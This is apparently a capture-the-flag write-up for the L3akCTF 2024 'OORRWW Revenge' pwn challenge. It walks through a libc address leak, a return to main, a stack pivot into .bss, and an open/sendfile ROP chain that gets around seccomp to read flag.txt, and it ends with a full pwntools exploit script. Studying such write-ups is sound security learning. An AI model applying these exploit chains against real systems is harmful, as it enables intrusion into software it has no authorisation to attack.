Go back to main menu

L3akCTF 2024 - [PWN] OORRWW Revenge

Difficulty : ⭐⭐

OORRWW Revenge != OORRWW

Although the challenges are similar, here are their differences :

gift

loop

checksec

Leak __isoc99_scanf manually

According to oorrww, I know where the vulnerability is and I know what to do.
However, there are no more leaks. I need to do ret2libc by leaking a function address myself.
Why not using puts() to leak __isoc99_scanf()@GOT again ?

0x0000000000401203 : pop rax ; ret
0x00000000004012db : mov edi, eax ; call 0x4010c0 ; nop ; pop rbp ; ret

These two gadgets are perfect since 0x4010c0 points to puts@plt.

gdb1

As you can see in this pwndbg session __isoc99_scanf@PLT address is 0x401100 which is less than 4-bytes long.
It will fit in a 4 bytes register (EAX and EDI)

I used this payload for leaking data (using functions from oorrww payload):

payload = [b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-", # canary
           b"-", # rbp
           int2bytes(POP_RAX_RET), # ret
           int2bytes(elf.got["__isoc99_scanf"]),
           int2bytes(MOV_EDI_EAX_PUTS),
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-" ]

Ret2Main

There are no stack address leak as the first challenge… And I have 40 bytes left for my payload, which is not enough.

Let’s do ret2main to start again with LIBC leak :

not_aligned

Oops, SIGSEGV !
I need to be careful to stack alignment issues. Here is the new payload :

payload = [b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-", # canary
           b"-", # rbp
           int2bytes(POP_RAX_RET), # ret
           int2bytes(elf.got["__isoc99_scanf"]),
           int2bytes(MOV_EDI_EAX_PUTS),
           b"-", # pop rbp from previous gadget
           int2bytes(RET), # align the stack to 16 bytes
           int2bytes(elf.sym["main"]),
           b"-", 
           b"-", 
           b"-" ]

Second round : writing payload in STDIN

Because I have no leak of stack address and no more space (56 bytes are not enough), my idea was to continue writing somewhere using more bytes.
Because PIE is off, I know where is data segment and I can continue writing my payload inside. I have LIBC leak so I can use this function :

read(0, 0x404020, 0x500); // 0x500 bytes should be enough

Here are the gadgets found in libc.so.6 :

0x00000000001741a2 : pop rdi ; ret
0x0000000000164bbb : pop rsi ; ret
0x0000000000174e4e : pop rdx ; pop rbx ; ret

And the second payload to allow injecting bytes into data segment :

payload = [b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-",
           b"-", # canary
           int2bytes(0x404028), # rbp -> stack pivoting (RSP = 0x404030)
           int2bytes(POP_RDI_RET), # ret
           int2bytes(0),
           int2bytes(POP_RSI_RET),
           int2bytes(0x404020),
           int2bytes(POP_RDX_RBX_RET),
           int2bytes(0x500),
           int2bytes(0x500), 
           int2bytes(base + libc.sym["read"]),
           int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
]

Now, I can write 1280 bytes of data in 0x404020 and redirect RSP at 0x404030 using stack pivoting technique.

Thanks to stack pivoting, RSP is now pointing to data segment !
I let 16 bytes between RSP and RBP to write “flag.txt\0”.
I no longer use scanf("%lf",...); : Ican write raw bytes instead of double floating points.

Third round : seccomp bypass

Then, all I need to do is to bypass seccomp with open and sendfile. The last payload is quite the same as oorrww :

payload = [b"flag.txt", # "flag.txt"
                p64(0), # "\0" for the end of "flag.txt"
      p64(POP_RAX_RET), # RAX = 2
                p64(2),
      p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0" 
         p64(0x404020),
      p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
                p64(2),
      p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
      p64(POP_RDI_RET), # RDI = 1 -> stdout 
                p64(1),
      p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
                p64(3), 
p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
                          # RBX = 0 (junk)
                p64(0), 
                p64(0), 
      p64(POP_RCX_RET), # RCX = 0x50 
             p64(0x50),
p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
]

Final payload

I have no longer access to remote machine because I couldn’t complete the challenge on time.
This is why I’m doing it locally but it should work remotely.

Here is the final payload :

># ===============================================[ Module Imports ]===============================================
from pwn import *
from decimal import Decimal
import struct

# =====================================[ Load ELF binary and start process ]======================================
elf = ELF("./oorrww_revenge_patched",checksec=False)
libc = ELF("libc.so.6",checksec=False)
io = process([elf.path],env={"LD_PRELOAD": libc.path})

# ==================================================[ Functions ]=================================================
def int2double(x):
    return struct.unpack('d',p64(x))[0]

def double2bytes(x):
    return str(x).encode("utf-8")

def int2bytes(x):
    return double2bytes(int2double(x))

def bytes2doublebytes(x):
    return double2bytes(struct.unpack('d',x)[0])

# ========================================[ oorrww_revenge_patched Gadgets ]======================================
MOV_EDI_EAX_PUTS = 0x00000000004012db
POP_RAX_RET = 0x0000000000401203
RET = 0x000000000040101a

# ==========================================[ First payload : leak LIBC ]=========================================
payload = [b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-", # canary
            b"-", # rbp
            int2bytes(POP_RAX_RET), # ret
            int2bytes(elf.got["__isoc99_scanf"]),
            int2bytes(MOV_EDI_EAX_PUTS),
            b"-", # pop rbp from previous gadget
            int2bytes(RET), # align the stack to 16 bytes
            int2bytes(elf.sym["main"]),
            b"-", 
            b"-", 
            b"-", 
]

for i in range(len(payload)):
    io.recvline()
    io.sendline(payload[i])

io.recvline()
leak = io.recvline()[:-1][::-1]
leak = hex(int.from_bytes(leak))
print("[+] Leak __isoc99_scanf @ "+leak)

base = int(leak[2:],16)-libc.sym["__isoc99_scanf"]
print("[+] LIBC base @ "+hex(base))

# ===============================================[ libc.so.6 Gadgets ]============================================
POP_RAX_RET = base + 0x000000000011bec9
POP_RDI_RET = base + 0x00000000001741a2
POP_RSI_RET = base + 0x0000000000164bbb
POP_RDX_POP_RBX_RET = base + 0x0000000000174e4e
POP_RCX_RET = base + 0x000000000003d1ee
LEAVE_RET = base + 0x000000000004da83 
SYSCALL_RET = base + 0x0000000000091316

# =======================================[ Second payload : write in .bss ]=======================================
payload = [b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-",
            b"-", # canary
            int2bytes(0x404028),  # rbp -> stack pivoting (RSP = 0x404030)
            int2bytes(POP_RDI_RET), # ret
            int2bytes(0),
            int2bytes(POP_RSI_RET),
            int2bytes(0x404020), # .bss address
            int2bytes(POP_RDX_POP_RBX_RET),
            int2bytes(0x500),
            int2bytes(0x500), 
            int2bytes(base + libc.sym["read"]),
            int2bytes(LEAVE_RET), # stack pivoting (rsp = rbp -> 0x404030)
]

for i in range(len(payload)):
    io.recvline()
    io.sendline(payload[i])

# =======================================[ Third payload : seccomp bypass ]=======================================
payload = [b"flag.txt", # "flag.txt"
                p64(0), # "\0" for the end of "flag.txt"
        p64(POP_RAX_RET), # RAX = 2
                p64(2),
        p64(POP_RDI_RET), # RDI = buffer -> &"flag.txt\0" 
            p64(0x404020),
        p64(POP_RSI_RET), # RSI = O_RDONLY -> 2
                p64(2),
        p64(SYSCALL_RET), # open("flag.txt\0",O_RDONLY);
        p64(POP_RDI_RET), # RDI = 1 -> stdout 
                p64(1),
        p64(POP_RSI_RET), # RSI = 3 (I assume it is the file descriptor of opened file)
                p64(3), 
p64(POP_RDX_POP_RBX_RET), # RDX = 0 -> offset
                            # RBX = 0 (junk)
                p64(0), 
                p64(0), 
        p64(POP_RCX_RET), # RCX = 0x50 
                p64(0x50),
p64(base + libc.sym["sendfile"]), # sendfile(1,3,0,0x50);
]

io.send(b"".join(payload))

# =====================================================[ Flag ]===================================================

io.recvline()
print(b"[+] FLAG : "+io.recv(2048))

Flag

flag